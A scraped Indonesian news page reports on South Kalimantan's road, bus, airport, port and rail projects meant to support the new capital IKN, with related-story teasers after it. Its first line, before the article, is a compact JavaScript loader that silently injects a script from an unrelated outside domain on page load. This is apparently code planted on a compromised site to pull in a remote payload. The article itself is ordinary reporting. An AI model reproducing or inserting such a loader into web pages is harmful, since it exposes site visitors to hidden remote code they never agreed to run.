(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pembangunan jalan untuk dukungan IKN, yakni jalan lintas Banjarbaru – Batulicin ditargetkan selesai pada 2024 mendatang.
Alternatif jalan ke IKN lainnya, yakni jalan Lingkar Barat dari Banjarmasin yang sudah dikerjakan Kementerian PUPR saat ini melalui Sungai Puting sampai Kabupaten HSS.
“Namun jalur dari Kabupaten HSS masih menunggu alternatif jalan selanjutnya agar bisa sampai di IKN,” ujar Kepala Seksi Jalan Bidang Bina Marga Dinas PUPR Provinsi Kalsel, Wahid Ramadani.
Baca juga: Laskar Antasari Cetak Clean Sheet, Bekuk Tim Tamu di Demang Lehman
Hal itu disampaikannya saat Coffee Talk mengangkat isu Pembangunan Prioritas untuk Mendukung Kalsel sebagai Gerbang IKN dengan narasumber dari Dinas Perhubungan (Dishub) Provinsi Kalsel dan Dinas PUPR Provinsi Kalsel, Banjarbaru, Selasa (20/6/2023).
Tujuan dilaksanakannya Coffee Talk atau konferensi pers bersama insan media cetak maupun elektronik itu untuk mengetahui pembangunan yang sudah dilaksanakan serta akan dilaksanakan di sektor jalan dan transportasi sebagai pendukung IKN.
Kepala Dishub Provinsi Kalsel, M Fitri Hernadi diwakili Kepala Bidang Pelayaran, Agung Rahmadi mengatakan, pendukung disisi perhubungan saat ini yang telah berjalan dari sisi transportasi darat, yaitu penyediaan Layanan Angkutan Umum BRT dengan 10 Koridor dan BTS yang melayani rute Banjarmasin-Banjarbaru- Bati-bati- Marabahan dan Bandara Syamsudin Noor.
Baca juga: Truk 3 Ton Tak Bisa Naik LCT Penyeberangan Singkuang-Limunjang
“Untuk transportasi udara, akan dimaksimalkan kapasitas layanan Bandara Internasional Syamsudin Noor seperti pembukaan rute-rute penerbangan baru (internasional),” kata Agung.
Selanjutnya, ia menyebutkan saat ini akan dilakukan pembangunan dan pengembangan Pelabuhan Mekar Putih untuk menjadi pelabuhan utama di Kotabaru untuk pelayaran internasional dengan potensi kedalaman +20 m dengan bobot kapal #100.000 – 150.000 DWT untuk Dukungan Kawasan Ekonomi Khusus Mekar Putih.
“Sarana transportasi kereta api masih dalam tahap studi master plan dan trase kereta api yang terhubung dengan IKN (Banjarmasin-Tanjung),” katanya. (kanalkalimantan.com/infopublik.id/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
This website uses cookies.